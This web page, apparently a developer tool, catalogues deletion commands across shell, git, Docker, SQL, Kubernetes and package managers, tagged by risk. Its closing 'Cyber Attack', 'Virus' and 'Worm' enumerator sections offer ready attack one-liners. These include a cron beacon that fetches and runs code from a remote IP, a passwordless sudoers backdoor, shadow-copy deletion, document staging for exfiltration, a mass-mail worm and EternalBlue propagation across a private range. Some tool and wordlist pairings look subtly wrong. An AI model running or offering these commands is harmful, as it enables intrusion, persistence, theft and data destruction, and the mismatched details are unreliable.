$ rm -rf /*
A catalog of commands for removing things — files, branches, containers, rows, pods, packages. Sorted by tool, tagged by how much it'll hurt.
Unix / Shell
Files, directories, and the void.rm file.txtRemove a single file
cautionrm -i *.logRemove files with confirmation prompt
saferm -r folder/Recursively remove a directory
cautionrm -rf folder/Force recursive removal, no prompts
irreversiblermdir empty-dir/Remove an empty directory
safefind . -name '*.tmp' -deleteDelete all matching files in tree
cautionshred -u secret.keyOverwrite then unlink a file
irreversibleunlink symlinkRemove a single symbolic link
safe
Git
Untrack, unstage, undo, unexist.git rm file.txtRemove file from working tree and index
cautiongit rm --cached file.txtStop tracking file, keep on disk
safegit restore --staged file.txtUnstage a file
safegit clean -fdDelete untracked files and directories
irreversiblegit branch -d featureDelete a merged local branch
safegit branch -D featureForce delete a local branch
cautiongit push origin --delete featureDelete a remote branch
cautiongit tag -d v1.0.0Delete a local tag
safegit stash drop stash@{0}Discard a single stash entry
cautiongit reset --hard HEAD~1Drop the last commit and changes
irreversible
Node / Package Managers
Tear down dependencies.npm uninstall lodashRemove a dependency
safenpm pruneRemove extraneous packages
saferm -rf node_modules package-lock.jsonNuke installed modules + lockfile
cautionbun remove react-queryRemove a dependency with Bun
safepnpm remove axiosRemove a dependency with pnpm
safeyarn remove dayjsRemove a dependency with Yarn
safenpx npkillInteractively delete node_modules anywhere on disk
caution
Docker
Containers, images, volumes, networks.docker rm <container>Remove a stopped container
cautiondocker rm -f <container>Force remove a running container
cautiondocker rmi <image>Remove an image
cautiondocker volume rm <volume>Remove a named volume
irreversibledocker network rm <network>Remove a network
cautiondocker container pruneRemove all stopped containers
cautiondocker image prune -aRemove all unused images
cautiondocker system prune -a --volumesRemove everything unused, volumes included
irreversible
SQL
Rows, tables, schemas, databases.DELETE FROM users WHERE id = 1;Remove specific rows
cautionDELETE FROM users;Remove all rows (logged, slow)
irreversibleTRUNCATE TABLE users;Empty table fast, reset identity
irreversibleDROP TABLE users;Remove the table entirely
irreversibleDROP INDEX idx_users_email;Remove an index
cautionDROP SCHEMA app CASCADE;Remove schema and everything in it
irreversibleDROP DATABASE staging;Remove an entire database
irreversible
Kubernetes
kubectl delete, with feeling.kubectl delete pod my-podDelete a pod (it may restart)
cautionkubectl delete deployment apiDelete a deployment and its pods
cautionkubectl delete -f manifest.yamlDelete resources defined in a file
cautionkubectl delete ns stagingDelete a namespace and everything in it
irreversiblekubectl delete pod my-pod --grace-period=0 --forceForce delete a stuck pod
caution
Linux Packages
apt, dnf, pacman, brew.sudo apt remove nginxRemove a package, keep config
cautionsudo apt purge nginxRemove package and its config
cautionsudo apt autoremoveRemove orphaned dependencies
safesudo dnf remove httpdRemove a package on Fedora/RHEL
cautionsudo pacman -Rns vimRemove package, deps, and config
cautionbrew uninstall nodeRemove a Homebrew formula
safebrew cleanupRemove old versions and cache
safe
Windows / PowerShell
del, rmdir, Remove-Item.del file.txtDelete a file (cmd)
cautionrmdir /s /q folderRecursively delete folder, no prompt
irreversibleRemove-Item .\file.txtDelete a file (PowerShell)
cautionRemove-Item -Recurse -Force .\folderForce recursive delete
irreversibleGet-ChildItem *.log | Remove-ItemPipe matches into removal
cautionwinget uninstall <id>Uninstall an app
caution
Enumerator
Synthesize a fresh batch of removal commands from every tool, combinatorially.
git push origin --delete old-releaseDelete a remote branch
cautiongit rm --cached report.pdfStop tracking, keep on disk
safedocker rmi alpine:3.10Remove an old image
cautionRemove-Item -Recurse -Force .\buildPowerShell recursive delete
irreversibleDELETE FROM sessions WHERE created_at < NOW() - INTERVAL '90 days';Prune old rows
caution
Nuke Enumerator
Mass-destruction commands. These wipe entire systems, namespaces, histories, and disks.
DELETE FROM users WHERE 1=1;Unconditionally delete all user rows
irreversibledocker system prune -a --volumes -fDestroy all containers, images, networks, volumes
irreversiblefind / -name '*.log' -deletePurge all log files on the system
irreversiblewinget uninstall --allUninstall every winget package
irreversibleDROP DATABASE production;Drop the production database
irreversible
Cyber Attack Enumerator
Enumeration and exploitation commands. Passive recon, active scanning, brute force, and payload delivery.
sqlmap -u "http://target.htb/?id=1" --dumpExtract data via SQL injection
irreversiblenikto -h example.comWeb server vulnerability scan
cautionnmap -A 10.10.10.10Aggressive scan with OS detection and scripts
cautiongobuster dir -u http://corp.local -w /usr/share/wordlists/rockyou.txtBrute-force hidden directories
cautionhashcat -m 0 -a 0 hashes.txt /usr/share/seclists/Discovery/Web-Content/common.txtCrack password hashes offline
irreversible
Virus Enumerator
Malware patterns: droppers, persistence, exfiltration, ransomware staging, and fork bombs.
vssadmin delete shadows /all /quietErase Volume Shadow Copies (ransomware staging)
irreversibleschtasks /create /sc minute /mo 5 /tn 'WindowsUpdate' /tr C:\Users\Public\update.scrScheduled task persistence
irreversibleecho 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoersBackdoor passwordless sudo
irreversiblefind / -name '*.docx' -exec cp {} /tmp/exfil/ \;Stage documents for exfiltration
irreversible(crontab -l; echo '* * * * * curl -s http://10.10.14.3/stage2 | bash') | crontab -Persist via cron beacon
irreversible
Worm Enumerator
Self-propagating malware patterns: lateral movement, auto-infection, persistence, and network spread.
cat emails.txt | while read e; do echo 'See attached' | mail -A payload.py -s 'Invoice' $e; doneMass-mail worm attachment
irreversibleschtasks /create /s 192.168.1.0/24 /tn 'SystemUpdate' /tr 'C:\Windows\update.bin' /sc onlogon /ru SYSTEMScheduled task worm persistence on remote machine
irreversiblemsfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 172.16.0.0/12; run'EternalBlue SMB worm propagation
irreversiblepsexec target.local -u root -p password -d c:/windows/update.binPSExec lateral movement to remote host
irreversibleecho '[autorun]' > /mnt/usb/autorun.inf && echo 'open=payload.py' >> /mnt/usb/autorun.infUSB autorun worm payload
irreversible